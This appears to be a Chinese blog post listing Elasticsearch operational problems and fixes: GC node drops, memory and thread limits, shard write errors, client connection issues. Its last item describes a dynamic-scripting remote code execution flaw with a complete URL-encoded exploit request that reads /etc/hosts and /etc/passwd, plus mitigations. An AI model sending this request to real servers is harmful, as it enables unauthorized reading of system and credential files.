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elasticsearch遇到的一些问题以及解决方法

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elasticsearch遇到的一些问题以及解决方法

 

 

1.由gc引起节点脱离集群

     因为gc时会使jvm停止工作,如果某个节点gc时间过长,master ping3次(zen discovery默认ping失败重试3次)不通后就会把该节点剔除出集群,从而导致索引进行重新分配。
解决方法:
(1)优化gc,减少gc时间。(2)调大zen discovery的重试次数(es参数:ping_retries)和超时时间(es参数:ping_timeout)。后来发现根本原因是有个节点的系统所在硬盘满了。导致系统性能下降。
 
2.out of memory错误
     因为默认情况下es对字段数据缓存(Field Data Cache)大小是无限制的,查询时会把字段值放到内存,特别是facet查询,对内存要求非常高,它会把结果都放在内存,然后进行排序等操作,一直使用内存,直到内存用完,当内存不够用时就有可能出现out of memory错误。
解决方法:
(1)设置es的缓存类型为Soft Reference,它的主要特点是据有较强的引用功能。只有当内存不够的时候,才进行回收这类内存,因此在内存足够的时候,它们通常不被回收。另外,这些引 用对象还能保证在Java抛出OutOfMemory 异常之前,被设置为null。它可以用于实现一些常用图片的缓存,实现Cache的功能,保证最大限度的使用内存而不引起OutOfMemory。在es的配置文件加上index.cache.field.type: soft即可。
(2)设置es最大缓存数据条数和缓存失效时间,通过设置index.cache.field.max_size: 50000来把缓存field的最大值设置为50000,设置index.cache.field.expire: 10m把过期时间设置成10分钟。
 
3.无法创建本地线程问题
es恢复时报错: RecoverFilesRecoveryException[[index][3] Failed to transfer [215] files with total size of [9.4gb]]; nested: OutOfMemoryError[unable to create new native thread]; ]]
刚开始以为是文件句柄数限制,但想到之前报的是too many open file这个错误,并且也把数据改大了。查资料得知一个进程的jvm进程的最大线程数为:虚拟内存/(堆栈大小*1024*1024),也就是说虚拟内存越大或堆栈越小,能创建的线程越多。重新设置后还是会报那这错,按理说可创建线程数完全够用了的,就想是不是系统的一些限制。后来在网上找到说是max user processes的问题,这个值默认是1024,这个参数单看名字是用户最大打开的进程数,但看官方说明,就是用户最多可创建线程数,因为一个进程最少有一个线程,所以间接影响到最大进程数。调大这个参数后就没有报这个错了。
解决方法:
(1)增大jvm的heap内存或降低xss堆栈大小(默认的是512K)。
(2)打开/etc/security/limits.conf ,把soft    nproc     1024这行的1024改大就行了。
 
4.集群状态为黄色时并发插入数据报错
[7]: index [index], type [index], id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2] active : Timeout waiting for [1m], request: org.elasticsearch.action.bulk.BulkShardRequest@5989fa07]]
这是错误信息,当时集群状态为黄色,即副本没有分配。当时副本设置为2,只有一个节点,当你设置的副本大于可分配的机器时,此时如果你插入数据就有可能报上面的错,因为es的写一致性默认是使用quorum,即quorum值必须大于(副本数/2+1),我这里2/2+1=2也就是说要要至少插入到两份索引中,由于只有一个节点,quorum等于1,所以只插入到主索引,副本找不到从而报上面那个错。
解决方法:(1)去掉没分配的副本。(2)把写一致性改成one,即只写入一份索引就行。
 
5.设置jvm锁住内存时启动警告
当设置bootstrap.mlockall: true时,启动es报警告Unknown mlockall error 0,因为linux系统默认能让进程锁住的内存为45k。
解决方法:设置为无限制,linux命令:ulimit -l unlimited
 
6.错误使用api导致集群卡死
其实这个是很低级的错误。功能就是更新一些数据,可能会对一些数据进行删除,但删除时同事使用了deleteByQuery这个接口,通过构造BoolQuery把要删除数据的id传进去,查出这些数据删除。但问题是BoolQuery最多只支持1024个条件,100个条件都已经很多了,所以这样的查询一下子就把es集群卡死了。
解决方法:用bulkRequest进行批量删除操作。
 
7.org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream
原因:es节点之间的JDK版本不一样
解决方法:统一JDK环境
 

1) 端口错

client = new TransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

这里9300 写成9200的话会No node available

要是你连的不是本机,注意IP有没有正确

2 )jar报引用版本不匹配,开启的服务是什么版本,引用的jar最好匹配(这个我没有去试,反正我的是匹配的)

3) 要是你改了集群名字,还有设置集群名字

Settings settings = ImmutableSettings.settingsBuilder().put("cluster.name", "xxx").build();
            client = new TransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

4)集群超过5s没有响应

解决方法1.设置client.transport.ping_timeout设大

              2.代码内加入while (true) {
try {
bulk.execute().actionGet(getRetryTimeout());
break;
}
catch (NoNodeAvailableException cont) {
Thread.sleep(5000);
continue;
}
}

9.elasticsearch 近日被发现漏洞,可以远程执行任意代码,由于elasticsearch提供了http接口,导致可能通过CSRF等方式借助恶意页面浏览发生攻击

 漏洞影响版本:
elasticsearch 1.2以下
 测试代码:

http://ESSERVERIP:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery111102863897154977554_1400571156308&_=1400571156309

 浏览器会返回/etc/passwd内容

解决方案

1、在配置文件elasticsearch.yml里设置script.disable_dynamic: true

2、严格限制可访问elasticsearch服务的IP地址

参考:

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts

 

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